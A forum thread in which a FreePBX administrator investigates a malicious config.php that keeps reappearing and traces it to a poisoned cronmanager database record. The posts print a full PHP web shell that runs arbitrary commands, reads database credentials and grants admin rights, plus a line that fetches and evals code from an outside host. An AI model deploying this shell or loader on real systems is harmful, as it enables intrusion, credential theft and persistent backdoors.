/var/www/html/admin/views/config.php

FreePBX
1

Since of the last updates a new file is showing up, that should not be there: /var/www/html/admin/views/config.php

It is Base64 encoded PHP, containing malicious code evaluating following:

session_start();
if (isset($_REQUEST[‘p’]) && md5($_REQUEST[‘p’]) == ‘3cbcff9ea05b019d544a7f49539cad56’) {
$_SESSION[‘zoz’] = ‘logged’;
}
if (!isset($_SESSION[‘zoz’])) {
echo ‘Pokemon’;exit();
}

if (isset($_SESSION[‘zoz’]) && $_SESSION[‘zoz’] == ‘logged’) {
echo ‘’;
echo “”;
@system(“grep AMPDB /etc/amportal.conf”);
echo “---------------------\n”;
@system($_REQUEST[‘c’]);
echo “”;
if(isset($_REQUEST[‘admin’])){
if (!@include_once(getenv(‘FREEPBX_CONF’) ? getenv(‘FREEPBX_CONF’) : ‘/etc/freepbx.conf’)) {
include_once(’/etc/asterisk/freepbx.conf’);
}
require_once(dirname(FILE) . ‘/…/ampuser.class.php’);
$_SESSION[‘AMP_user’] = new ampuser($amp_conf[‘AMPDBUSER’]);
$_SESSION[‘AMP_user’]->setAdmin();
header(“Location: /admin/config.php”);
}

echo '<a href="?admin=a" >Admin GO</a>';

}

The PBX machine is closed from outside world, by outside independent firewall.
But, whenever I delete this file, it will show up automatically few hours later. There are no logged attempts uploading this file, or even trying to use this code.
Still has nothing happened on this PBX, except this file showed up there.

The PBX machine itself is used for educational purposes, so actually nothing bad can even happen…but I would like to have some explanation for this behavior before I format machine and reinstall everything from scratch.

Has anyone noticed similar code showing on this location? I tried to figure out cron jobs, or something else that could create this file, but so far I could not find anything.

2

Hey,

I do not have this file anywhere in my freepbx installation (Distro verion 10.13.66-16). If it keeps reappearing check crontab if there is any script running.

3

just found it…mysql table cronmanager contains malicious code under the module name weatherzipc

4

Your firewall is either not properly configured or someone hacked you from the inside. That’s the only way this file can show up there is nothing in the code that adds weather.

5

As i wrote, it was in cronmanager as an added record. The attack itself obviously arrived from outside, as http port was opened to the outside world (this is a demo system), and ajax.php and several other files had vulnerabilities that came from freepbx update.

After this incident all the ports were closed, but the file still appeared.

Later I found it was showing up since php shell_exec code (found as sql record) was getting source from http://api.src-elsahel.com/c (uri is still available)

SQL code that was inserted is (after decode and clean-up )

echo "<?php eval(base64_decode('
session_start();
if (isset($_REQUEST[‘p’]) && md5($_REQUEST[‘p’]) == ‘3cbcff9ea05b019d544a7f49539cad56’) {
$_SESSION[‘zoz’] = ‘logged’;
}
if (!isset($_SESSION[‘zoz’])) {
echo ‘Pokemon’;exit();
}

if (isset($_SESSION[‘zoz’]) && $_SESSION[‘zoz’] == ‘logged’) {
echo ‘’;
echo “”;
@system(“grep AMPDB /etc/amportal.conf”);
echo “---------------------\n”;
@system($_REQUEST[‘c’]);
echo “”;
if(isset($_REQUEST[‘admin’])){
if (!@include_once(getenv(‘FREEPBX_CONF’) ? getenv(‘FREEPBX_CONF’) : ‘/etc/freepbx.conf’)) {
include_once(’/etc/asterisk/freepbx.conf’);
}
require_once(dirname(FILE) . ‘/…/ampuser.class.php’);
$_SESSION[‘AMP_user’] = new ampuser($amp_conf[‘AMPDBUSER’]);
$_SESSION[‘AMP_user’]->setAdmin();
header(“Location: /admin/config.php”);
}

echo '<a href="?admin=a" >Admin GO</a>';

}

'));?>" > /var/www/html/admin/libraries/pest/index.php;php -r ‘eval(base64_decode("$x=file_get_contents("http://api.src-elsahel.com/c");eval($x);"));’;